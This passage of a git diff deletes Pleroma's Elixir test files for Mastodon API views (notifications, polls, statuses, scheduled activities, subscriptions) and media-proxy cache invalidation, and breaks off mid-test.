Jason.encode!() - - Tesla.Mock.mock(fn - %{method: :get, url: ^old_user_url} -> - %Tesla.Env{status: 200, body: body} - end) - - User.follow(follower, old_user) - Pleroma.Web.ActivityPub.ActivityPub.move(old_user, new_user) - Pleroma.Tests.ObanHelpers.perform_all() - - old_user = refresh_record(old_user) - new_user = refresh_record(new_user) - - [notification] = Notification.for_user(follower) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "move", - account: AccountView.render("show.json", %{user: old_user, for: follower}), - target: AccountView.render("show.json", %{user: new_user, for: follower}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], follower, [expected]) - end - - test "EmojiReact notification" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "#cofe"}) - {:ok, _activity} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - - activity = Repo.get(Activity, activity.id) - - [notification] = Notification.for_user(user) - - assert notification - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: false, is_muted: false}, - type: "pleroma:emoji_reaction", - emoji: "☕", - account: AccountView.render("show.json", %{user: other_user, for: user}), - status: StatusView.render("show.json", %{activity: activity, for: user}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], user, [expected]) - end - - test "muted notification" do - user = insert(:user) - another_user = insert(:user) - - {:ok, _} = Pleroma.UserRelationship.create_mute(user, another_user) - {:ok, create_activity} = CommonAPI.post(user, %{status: "hey"}) - {:ok, favorite_activity} = CommonAPI.favorite(another_user, create_activity.id) - {:ok, [notification]} = Notification.create_notifications(favorite_activity) - create_activity = Activity.get_by_id(create_activity.id) - - expected = %{ - id: to_string(notification.id), - pleroma: %{is_seen: true, is_muted: true}, - type: "favourite", - account: AccountView.render("show.json", %{user: another_user, for: user}), - status: StatusView.render("show.json", %{activity: create_activity, for: user}), - created_at: Utils.to_masto_date(notification.inserted_at) - } - - test_notifications_rendering([notification], user, [expected]) - end -end diff --git a/test/web/mastodon_api/views/poll_view_test.exs b/test/web/mastodon_api/views/poll_view_test.exs deleted file mode 100644 index b7e2f17ef..000000000 --- a/test/web/mastodon_api/views/poll_view_test.exs +++ /dev/null @@ -1,167 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.PollViewTest do - use Pleroma.DataCase - - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.MastodonAPI.PollView - - import Pleroma.Factory - import Tesla.Mock - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "renders a poll" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Is Tenshi eating a corndog cute?", - poll: %{ - options: ["absolutely!", "sure", "yes", "why are you even asking?"], - expires_in: 20 - } - }) - - object = Object.normalize(activity) - - expected = %{ - emojis: [], - expired: false, - id: to_string(object.id), - multiple: false, - options: [ - %{title: "absolutely!", votes_count: 0}, - %{title: "sure", votes_count: 0}, - %{title: "yes", votes_count: 0}, - %{title: "why are you even asking?", votes_count: 0} - ], - voted: false, - votes_count: 0, - voters_count: nil - } - - result = PollView.render("show.json", %{object: object}) - expires_at = result.expires_at - result = Map.delete(result, :expires_at) - - assert result == expected - - expires_at = NaiveDateTime.from_iso8601!(expires_at) - assert NaiveDateTime.diff(expires_at, NaiveDateTime.utc_now()) in 15..20 - end - - test "detects if it is multiple choice" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Which Mastodon developer is your favourite?", - poll: %{ - options: ["Gargron", "Eugen"], - expires_in: 20, - multiple: true - } - }) - - voter = insert(:user) - - object = Object.normalize(activity) - - {:ok, _votes, object} = CommonAPI.vote(voter, object, [0, 1]) - - assert match?( - %{ - multiple: true, - voters_count: 1, - votes_count: 2 - }, - PollView.render("show.json", %{object: object}) - ) - end - - test "detects emoji" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "What's with the smug face?", - poll: %{ - options: [":blank: sip", ":blank::blank: sip", ":blank::blank::blank: sip"], - expires_in: 20 - } - }) - - object = Object.normalize(activity) - - assert %{emojis: [%{shortcode: "blank"}]} = PollView.render("show.json", %{object: object}) - end - - test "detects vote status" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Which input devices do you use?", - poll: %{ - options: ["mouse", "trackball", "trackpoint"], - multiple: true, - expires_in: 20 - } - }) - - object = Object.normalize(activity) - - {:ok, _, object} = CommonAPI.vote(other_user, object, [1, 2]) - - result = PollView.render("show.json", %{object: object, for: other_user}) - - assert result[:voted] == true - assert Enum.at(result[:options], 1)[:votes_count] == 1 - assert Enum.at(result[:options], 2)[:votes_count] == 1 - end - - test "does not crash on polls with no end date" do - object = Object.normalize("https://skippers-bin.com/notes/7x9tmrp97i") - result = PollView.render("show.json", %{object: object}) - - assert result[:expires_at] == nil - assert result[:expired] == false - end - - test "doesn't strips HTML tags" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "What's with the smug face?", - poll: %{ - options: [ - "<input type=\"date\">", - "<input type=\"date\" >", - "<input type=\"date\"/>", - "<input type=\"date\"></input>" - ], - expires_in: 20 - } - }) - - object = Object.normalize(activity) - - assert %{ - options: [ - %{title: "<input type=\"date\">", votes_count: 0}, - %{title: "<input type=\"date\" >", votes_count: 0}, - %{title: "<input type=\"date\"/>", votes_count: 0}, - %{title: "<input type=\"date\"></input>", votes_count: 0} - ] - } = PollView.render("show.json", %{object: object}) - end -end diff --git a/test/web/mastodon_api/views/scheduled_activity_view_test.exs b/test/web/mastodon_api/views/scheduled_activity_view_test.exs deleted file mode 100644 index fbfd873ef..000000000 --- a/test/web/mastodon_api/views/scheduled_activity_view_test.exs +++ /dev/null @@ -1,68 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.ScheduledActivityViewTest do - use Pleroma.DataCase - alias Pleroma.ScheduledActivity - alias Pleroma.Web.ActivityPub.ActivityPub - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.CommonAPI.Utils - alias Pleroma.Web.MastodonAPI.ScheduledActivityView - alias Pleroma.Web.MastodonAPI.StatusView - import Pleroma.Factory - - test "A scheduled activity with a media attachment" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "hi"}) - - scheduled_at = - NaiveDateTime.utc_now() - |> NaiveDateTime.add(:timer.minutes(10), :millisecond) - |> NaiveDateTime.to_iso8601() - - file = %Plug.Upload{ - content_type: "image/jpg", - path: Path.absname("test/fixtures/image.jpg"), - filename: "an_image.jpg" - } - - {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id) - - attrs = %{ - params: %{ - "media_ids" => [upload.id], - "status" => "hi", - "sensitive" => true, - "spoiler_text" => "spoiler", - "visibility" => "unlisted", - "in_reply_to_id" => to_string(activity.id) - }, - scheduled_at: scheduled_at - } - - {:ok, scheduled_activity} = ScheduledActivity.create(user, attrs) - result = ScheduledActivityView.render("show.json", %{scheduled_activity: scheduled_activity}) - - expected = %{ - id: to_string(scheduled_activity.id), - media_attachments: - %{media_ids: [upload.id]} - |> Utils.attachments_from_ids() - |> Enum.map(&StatusView.render("attachment.json", %{attachment: &1})), - params: %{ - in_reply_to_id: to_string(activity.id), - media_ids: [upload.id], - poll: nil, - scheduled_at: nil, - sensitive: true, - spoiler_text: "spoiler", - text: "hi", - visibility: "unlisted" - }, - scheduled_at: Utils.to_masto_date(scheduled_activity.scheduled_at) - } - - assert expected == result - end -end diff --git a/test/web/mastodon_api/views/status_view_test.exs b/test/web/mastodon_api/views/status_view_test.exs deleted file mode 100644 index 70d829979..000000000 --- a/test/web/mastodon_api/views/status_view_test.exs +++ /dev/null @@ -1,664 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.StatusViewTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Bookmark - alias Pleroma.Conversation.Participation - alias Pleroma.HTML - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.User - alias Pleroma.UserRelationship - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.CommonAPI.Utils - alias Pleroma.Web.MastodonAPI.AccountView - alias Pleroma.Web.MastodonAPI.StatusView - - import Pleroma.Factory - import Tesla.Mock - import OpenApiSpex.TestAssertions - - setup do - mock(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "has an emoji reaction list" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "dae cofe??"}) - - {:ok, _} = CommonAPI.react_with_emoji(activity.id, user, "☕") - {:ok, _} = CommonAPI.react_with_emoji(activity.id, third_user, "🍵") - {:ok, _} = CommonAPI.react_with_emoji(activity.id, other_user, "☕") - activity = Repo.get(Activity, activity.id) - status = StatusView.render("show.json", activity: activity) - - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - - assert status[:pleroma][:emoji_reactions] == [ - %{name: "☕", count: 2, me: false}, - %{name: "🍵", count: 1, me: false} - ] - - status = StatusView.render("show.json", activity: activity, for: user) - - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - - assert status[:pleroma][:emoji_reactions] == [ - %{name: "☕", count: 2, me: true}, - %{name: "🍵", count: 1, me: false} - ] - end - - test "works correctly with badly formatted emojis" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "yo"}) - - activity - |> Object.normalize(false) - |> Object.update_data(%{"reactions" => %{"☕" => [user.ap_id], "x" => 1}}) - - activity = Activity.get_by_id(activity.id) - - status = StatusView.render("show.json", activity: activity, for: user) - - assert status[:pleroma][:emoji_reactions] == [ - %{name: "☕", count: 1, me: true} - ] - end - - test "loads and returns the direct conversation id when given the `with_direct_conversation_id` option" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) - [participation] = Participation.for_user(user) - - status = - StatusView.render("show.json", - activity: activity, - with_direct_conversation_id: true, - for: user - ) - - assert status[:pleroma][:direct_conversation_id] == participation.id - - status = StatusView.render("show.json", activity: activity, for: user) - assert status[:pleroma][:direct_conversation_id] == nil - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "returns the direct conversation id when given the `direct_conversation_id` option" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) - [participation] = Participation.for_user(user) - - status = - StatusView.render("show.json", - activity: activity, - direct_conversation_id: participation.id, - for: user - ) - - assert status[:pleroma][:direct_conversation_id] == participation.id - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "returns a temporary ap_id based user for activities missing db users" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) - - Repo.delete(user) - Cachex.clear(:user_cache) - - finger_url = - "https://localhost/.well-known/webfinger?resource=acct:#{user.nickname}@localhost" - - Tesla.Mock.mock_global(fn - %{method: :get, url: "http://localhost/.well-known/host-meta"} -> - %Tesla.Env{status: 404, body: ""} - - %{method: :get, url: "https://localhost/.well-known/host-meta"} -> - %Tesla.Env{status: 404, body: ""} - - %{ - method: :get, - url: ^finger_url - } -> - %Tesla.Env{status: 404, body: ""} - end) - - %{account: ms_user} = StatusView.render("show.json", activity: activity) - - assert ms_user.acct == "erroruser@example.com" - end - - test "tries to get a user by nickname if fetching by ap_id doesn't work" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Hey @shp!", visibility: "direct"}) - - {:ok, user} = - user - |> Ecto.Changeset.change(%{ap_id: "#{user.ap_id}/extension/#{user.nickname}"}) - |> Repo.update() - - Cachex.clear(:user_cache) - - result = StatusView.render("show.json", activity: activity) - - assert result[:account][:id] == to_string(user.id) - assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "a note with null content" do - note = insert(:note_activity) - note_object = Object.normalize(note) - - data = - note_object.data - |> Map.put("content", nil) - - Object.change(note_object, %{data: data}) - |> Object.update_and_set_cache() - - User.get_cached_by_ap_id(note.data["actor"]) - - status = StatusView.render("show.json", %{activity: note}) - - assert status.content == "" - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "a note activity" do - note = insert(:note_activity) - object_data = Object.normalize(note).data - user = User.get_cached_by_ap_id(note.data["actor"]) - - convo_id = Utils.context_to_conversation_id(object_data["context"]) - - status = StatusView.render("show.json", %{activity: note}) - - created_at = - (object_data["published"] || "") - |> String.replace(~r/\.\d+Z/, ".000Z") - - expected = %{ - id: to_string(note.id), - uri: object_data["id"], - url: Pleroma.Web.Router.Helpers.o_status_url(Pleroma.Web.Endpoint, :notice, note), - account: AccountView.render("show.json", %{user: user, skip_visibility_check: true}), - in_reply_to_id: nil, - in_reply_to_account_id: nil, - card: nil, - reblog: nil, - content: HTML.filter_tags(object_data["content"]), - text: nil, - created_at: created_at, - reblogs_count: 0, - replies_count: 0, - favourites_count: 0, - reblogged: false, - bookmarked: false, - favourited: false, - muted: false, - pinned: false, - sensitive: false, - poll: nil, - spoiler_text: HTML.filter_tags(object_data["summary"]), - visibility: "public", - media_attachments: [], - mentions: [], - tags: [ - %{ - name: "#{object_data["tag"]}", - url: "/tag/#{object_data["tag"]}" - } - ], - application: %{ - name: "Web", - website: nil - }, - language: nil, - emojis: [ - %{ - shortcode: "2hu", - url: "corndog.png", - static_url: "corndog.png", - visible_in_picker: false - } - ], - pleroma: %{ - local: true, - conversation_id: convo_id, - in_reply_to_account_acct: nil, - content: %{"text/plain" => HTML.strip_tags(object_data["content"])}, - spoiler_text: %{"text/plain" => HTML.strip_tags(object_data["summary"])}, - expires_at: nil, - direct_conversation_id: nil, - thread_muted: false, - emoji_reactions: [], - parent_visible: false - } - } - - assert status == expected - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "tells if the message is muted for some reason" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _user_relationships} = User.mute(user, other_user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "test"}) - - relationships_opt = UserRelationship.view_relationships_option(user, [other_user]) - - opts = %{activity: activity} - status = StatusView.render("show.json", opts) - assert status.muted == false - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - - status = StatusView.render("show.json", Map.put(opts, :relationships, relationships_opt)) - assert status.muted == false - - for_opts = %{activity: activity, for: user} - status = StatusView.render("show.json", for_opts) - assert status.muted == true - - status = StatusView.render("show.json", Map.put(for_opts, :relationships, relationships_opt)) - assert status.muted == true - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "tells if the message is thread muted" do - user = insert(:user) - other_user = insert(:user) - - {:ok, _user_relationships} = User.mute(user, other_user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "test"}) - status = StatusView.render("show.json", %{activity: activity, for: user}) - - assert status.pleroma.thread_muted == false - - {:ok, activity} = CommonAPI.add_mute(user, activity) - - status = StatusView.render("show.json", %{activity: activity, for: user}) - - assert status.pleroma.thread_muted == true - end - - test "tells if the status is bookmarked" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "Cute girls doing cute things"}) - status = StatusView.render("show.json", %{activity: activity}) - - assert status.bookmarked == false - - status = StatusView.render("show.json", %{activity: activity, for: user}) - - assert status.bookmarked == false - - {:ok, _bookmark} = Bookmark.create(user.id, activity.id) - - activity = Activity.get_by_id_with_object(activity.id) - - status = StatusView.render("show.json", %{activity: activity, for: user}) - - assert status.bookmarked == true - end - - test "a reply" do - note = insert(:note_activity) - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "he", in_reply_to_status_id: note.id}) - - status = StatusView.render("show.json", %{activity: activity}) - - assert status.in_reply_to_id == to_string(note.id) - - [status] = StatusView.render("index.json", %{activities: [activity], as: :activity}) - - assert status.in_reply_to_id == to_string(note.id) - end - - test "contains mentions" do - user = insert(:user) - mentioned = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "hi @#{mentioned.nickname}"}) - - status = StatusView.render("show.json", %{activity: activity}) - - assert status.mentions == - Enum.map([mentioned], fn u -> AccountView.render("mention.json", %{user: u}) end) - - assert_schema(status, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "create mentions from the 'to' field" do - %User{ap_id: recipient_ap_id} = insert(:user) - cc = insert_pair(:user) |> Enum.map(& &1.ap_id) - - object = - insert(:note, %{ - data: %{ - "to" => [recipient_ap_id], - "cc" => cc - } - }) - - activity = - insert(:note_activity, %{ - note: object, - recipients: [recipient_ap_id | cc] - }) - - assert length(activity.recipients) == 3 - - %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity}) - - assert length(mentions) == 1 - assert mention.url == recipient_ap_id - end - - test "create mentions from the 'tag' field" do - recipient = insert(:user) - cc = insert_pair(:user) |> Enum.map(& &1.ap_id) - - object = - insert(:note, %{ - data: %{ - "cc" => cc, - "tag" => [ - %{ - "href" => recipient.ap_id, - "name" => recipient.nickname, - "type" => "Mention" - }, - %{ - "href" => "https://example.com/search?tag=test", - "name" => "#test", - "type" => "Hashtag" - } - ] - } - }) - - activity = - insert(:note_activity, %{ - note: object, - recipients: [recipient.ap_id | cc] - }) - - assert length(activity.recipients) == 3 - - %{mentions: [mention] = mentions} = StatusView.render("show.json", %{activity: activity}) - - assert length(mentions) == 1 - assert mention.url == recipient.ap_id - end - - test "attachments" do - object = %{ - "type" => "Image", - "url" => [ - %{ - "mediaType" => "image/png", - "href" => "someurl" - } - ], - "uuid" => 6 - } - - expected = %{ - id: "1638338801", - type: "image", - url: "someurl", - remote_url: "someurl", - preview_url: "someurl", - text_url: "someurl", - description: nil, - pleroma: %{mime_type: "image/png"} - } - - api_spec = Pleroma.Web.ApiSpec.spec() - - assert expected == StatusView.render("attachment.json", %{attachment: object}) - assert_schema(expected, "Attachment", api_spec) - - # If theres a "id", use that instead of the generated one - object = Map.put(object, "id", 2) - result = StatusView.render("attachment.json", %{attachment: object}) - - assert %{id: "2"} = result - assert_schema(result, "Attachment", api_spec) - end - - test "put the url advertised in the Activity in to the url attribute" do - id = "https://wedistribute.org/wp-json/pterotype/v1/object/85810" - [activity] = Activity.search(nil, id) - - status = StatusView.render("show.json", %{activity: activity}) - - assert status.uri == id - assert status.url == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" - end - - test "a reblog" do - user = insert(:user) - activity = insert(:note_activity) - - {:ok, reblog} = CommonAPI.repeat(activity.id, user) - - represented = StatusView.render("show.json", %{for: user, activity: reblog}) - - assert represented[:id] == to_string(reblog.id) - assert represented[:reblog][:id] == to_string(activity.id) - assert represented[:emojis] == [] - assert_schema(represented, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "a peertube video" do - user = insert(:user) - - {:ok, object} = - Pleroma.Object.Fetcher.fetch_object_from_id( - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - ) - - %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) - - represented = StatusView.render("show.json", %{for: user, activity: activity}) - - assert represented[:id] == to_string(activity.id) - assert length(represented[:media_attachments]) == 1 - assert_schema(represented, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "funkwhale audio" do - user = insert(:user) - - {:ok, object} = - Pleroma.Object.Fetcher.fetch_object_from_id( - "https://channels.tests.funkwhale.audio/federation/music/uploads/42342395-0208-4fee-a38d-259a6dae0871" - ) - - %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) - - represented = StatusView.render("show.json", %{for: user, activity: activity}) - - assert represented[:id] == to_string(activity.id) - assert length(represented[:media_attachments]) == 1 - end - - test "a Mobilizon event" do - user = insert(:user) - - {:ok, object} = - Pleroma.Object.Fetcher.fetch_object_from_id( - "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" - ) - - %Activity{} = activity = Activity.get_create_by_object_ap_id(object.data["id"]) - - represented = StatusView.render("show.json", %{for: user, activity: activity}) - - assert represented[:id] == to_string(activity.id) - - assert represented[:url] == - "https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39" - - assert represented[:content] == - "<p><a href=\"https://mobilizon.org/events/252d5816-00a3-4a89-a66f-15bf65c33e39\">Mobilizon Launching Party</a></p><p>Mobilizon is now federated! 🎉</p><p></p><p>You can view this event from other instances if they are subscribed to mobilizon.org, and soon directly from Mastodon and Pleroma. It is possible that you may see some comments from other instances, including Mastodon ones, just below.</p><p></p><p>With a Mobilizon account on an instance, you may <strong>participate</strong> at events from other instances and <strong>add comments</strong> on events.</p><p></p><p>Of course, it's still <u>a work in progress</u>: if reports made from an instance on events and comments can be federated, you can't block people right now, and moderators actions are rather limited, but this <strong>will definitely get fixed over time</strong> until first stable version next year.</p><p></p><p>Anyway, if you want to come up with some feedback, head over to our forum or - if you feel you have technical skills and are familiar with it - on our Gitlab repository.</p><p></p><p>Also, to people that want to set Mobilizon themselves even though we really don't advise to do that for now, we have a little documentation but it's quite the early days and you'll probably need some help. No worries, you can chat with us on our Forum or though our Matrix channel.</p><p></p><p>Check our website for more informations and follow us on Twitter or Mastodon.</p>" - end - - describe "build_tags/1" do - test "it returns a a dictionary tags" do - object_tags = [ - "fediverse", - "mastodon", - "nextcloud", - %{ - "href" => "https://kawen.space/users/lain", - "name" => "@lain@kawen.space", - "type" => "Mention" - } - ] - - assert StatusView.build_tags(object_tags) == [ - %{name: "fediverse", url: "/tag/fediverse"}, - %{name: "mastodon", url: "/tag/mastodon"}, - %{name: "nextcloud", url: "/tag/nextcloud"} - ] - end - end - - describe "rich media cards" do - test "a rich media card without a site name renders correctly" do - page_url = "http://example.com" - - card = %{ - url: page_url, - image: page_url <> "/example.jpg", - title: "Example website" - } - - %{provider_name: "example.com"} = - StatusView.render("card.json", %{page_url: page_url, rich_media: card}) - end - - test "a rich media card without a site name or image renders correctly" do - page_url = "http://example.com" - - card = %{ - url: page_url, - title: "Example website" - } - - %{provider_name: "example.com"} = - StatusView.render("card.json", %{page_url: page_url, rich_media: card}) - end - - test "a rich media card without an image renders correctly" do - page_url = "http://example.com" - - card = %{ - url: page_url, - site_name: "Example site name", - title: "Example website" - } - - %{provider_name: "example.com"} = - StatusView.render("card.json", %{page_url: page_url, rich_media: card}) - end - - test "a rich media card with all relevant data renders correctly" do - page_url = "http://example.com" - - card = %{ - url: page_url, - site_name: "Example site name", - title: "Example website", - image: page_url <> "/example.jpg", - description: "Example description" - } - - %{provider_name: "example.com"} = - StatusView.render("card.json", %{page_url: page_url, rich_media: card}) - end - end - - test "does not embed a relationship in the account" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "drink more water" - }) - - result = StatusView.render("show.json", %{activity: activity, for: other_user}) - - assert result[:account][:pleroma][:relationship] == %{} - assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "does not embed a relationship in the account in reposts" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "˙˙ɐʎns" - }) - - {:ok, activity} = CommonAPI.repeat(activity.id, other_user) - - result = StatusView.render("show.json", %{activity: activity, for: user}) - - assert result[:account][:pleroma][:relationship] == %{} - assert result[:reblog][:account][:pleroma][:relationship] == %{} - assert_schema(result, "Status", Pleroma.Web.ApiSpec.spec()) - end - - test "visibility/list" do - user = insert(:user) - - {:ok, list} = Pleroma.List.create("foo", user) - - {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) - - status = StatusView.render("show.json", activity: activity) - - assert status.visibility == "list" - end - - test "has a field for parent visibility" do - user = insert(:user) - poster = insert(:user) - - {:ok, invisible} = CommonAPI.post(poster, %{status: "hey", visibility: "private"}) - - {:ok, visible} = - CommonAPI.post(poster, %{status: "hey", visibility: "private", in_reply_to_id: invisible.id}) - - status = StatusView.render("show.json", activity: visible, for: user) - refute status.pleroma.parent_visible - - status = StatusView.render("show.json", activity: visible, for: poster) - assert status.pleroma.parent_visible - end -end diff --git a/test/web/mastodon_api/views/subscription_view_test.exs b/test/web/mastodon_api/views/subscription_view_test.exs deleted file mode 100644 index 981524c0e..000000000 --- a/test/web/mastodon_api/views/subscription_view_test.exs +++ /dev/null @@ -1,23 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MastodonAPI.SubscriptionViewTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Web.MastodonAPI.SubscriptionView, as: View - alias Pleroma.Web.Push - - test "Represent a subscription" do - subscription = insert(:push_subscription, data: %{"alerts" => %{"mention" => true}}) - - expected = %{ - alerts: %{"mention" => true}, - endpoint: subscription.endpoint, - id: to_string(subscription.id), - server_key: Keyword.get(Push.vapid_config(), :public_key) - } - - assert expected == View.render("show.json", %{subscription: subscription}) - end -end diff --git a/test/web/media_proxy/invalidation_test.exs b/test/web/media_proxy/invalidation_test.exs deleted file mode 100644 index aa1435ac0..000000000 --- a/test/web/media_proxy/invalidation_test.exs +++ /dev/null @@ -1,68 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy.InvalidationTest do - use ExUnit.Case - use Pleroma.Tests.Helpers - - alias Pleroma.Config - alias Pleroma.Web.MediaProxy.Invalidation - - import ExUnit.CaptureLog - import Mock - import Tesla.Mock - - setup do: clear_config([:media_proxy]) - - setup do - on_exit(fn -> Cachex.clear(:banned_urls_cache) end) - end - - describe "Invalidation.Http" do - test "perform request to clear cache" do - Config.put([:media_proxy, :enabled], false) - Config.put([:media_proxy, :invalidation, :enabled], true) - Config.put([:media_proxy, :invalidation, :provider], Invalidation.Http) - - Config.put([Invalidation.Http], method: :purge, headers: [{"x-refresh", 1}]) - image_url = "http://example.com/media/example.jpg" - Pleroma.Web.MediaProxy.put_in_banned_urls(image_url) - - mock(fn - %{ - method: :purge, - url: "http://example.com/media/example.jpg", - headers: [{"x-refresh", 1}] - } -> - %Tesla.Env{status: 200} - end) - - assert capture_log(fn -> - assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) - assert Invalidation.purge([image_url]) == {:ok, [image_url]} - assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) - end) =~ "Running cache purge: [\"#{image_url}\"]" - end - end - - describe "Invalidation.Script" do - test "run script to clear cache" do - Config.put([:media_proxy, :enabled], false) - Config.put([:media_proxy, :invalidation, :enabled], true) - Config.put([:media_proxy, :invalidation, :provider], Invalidation.Script) - Config.put([Invalidation.Script], script_path: "purge-nginx") - - image_url = "http://example.com/media/example.jpg" - Pleroma.Web.MediaProxy.put_in_banned_urls(image_url) - - with_mocks [{System, [], [cmd: fn _, _ -> {"ok", 0} end]}] do - assert capture_log(fn -> - assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) - assert Invalidation.purge([image_url]) == {:ok, [image_url]} - assert Pleroma.Web.MediaProxy.in_banned_urls(image_url) - end) =~ "Running cache purge: [\"#{image_url}\"]" - end - end - end -end diff --git a/test/web/media_proxy/invalidations/http_test.exs b/test/web/media_proxy/invalidations/http_test.exs deleted file mode 100644 index 13d081325..000000000 --- a/test/web/media_proxy/invalidations/http_test.exs +++ /dev/null @@ -1,43 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy.Invalidation.HttpTest do - use ExUnit.Case - alias Pleroma.Web.MediaProxy.Invalidation - - import ExUnit.CaptureLog - import Tesla.Mock - - setup do - on_exit(fn -> Cachex.clear(:banned_urls_cache) end) - end - - test "logs hasn't error message when request is valid" do - mock(fn - %{method: :purge, url: "http://example.com/media/example.jpg"} -> - %Tesla.Env{status: 200} - end) - - refute capture_log(fn -> - assert Invalidation.Http.purge( - ["http://example.com/media/example.jpg"], - [] - ) == {:ok, ["http://example.com/media/example.jpg"]} - end) =~ "Error while cache purge" - end - - test "it write error message in logs when request invalid" do - mock(fn - %{method: :purge, url: "http://example.com/media/example1.jpg"} -> - %Tesla.Env{status: 404} - end) - - assert capture_log(fn -> - assert Invalidation.Http.purge( - ["http://example.com/media/example1.jpg"], - [] - ) == {:ok, ["http://example.com/media/example1.jpg"]} - end) =~ "Error while cache purge: url - http://example.com/media/example1.jpg" - end -end diff --git a/test/web/media_proxy/invalidations/script_test.exs b/test/web/media_proxy/invalidations/script_test.exs deleted file mode 100644 index 692cbb2df..000000000 --- a/test/web/media_proxy/invalidations/script_test.exs +++ /dev/null @@ -1,30 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.MediaProxy.Invalidation.ScriptTest do - use ExUnit.Case - alias Pleroma.Web.MediaProxy.Invalidation - - import ExUnit.CaptureLog - - setup do - on_exit(fn -> Cachex.clear(:banned_urls_cache) end) - end - - test "it logger error when script not found" do - assert capture_log(fn -> - assert Invalidation.Script.purge( - ["http://example.com/media/example.jpg"], - script_path: "./example" - ) == {:error, "%ErlangError{original: :enoent}"} - end) =~ 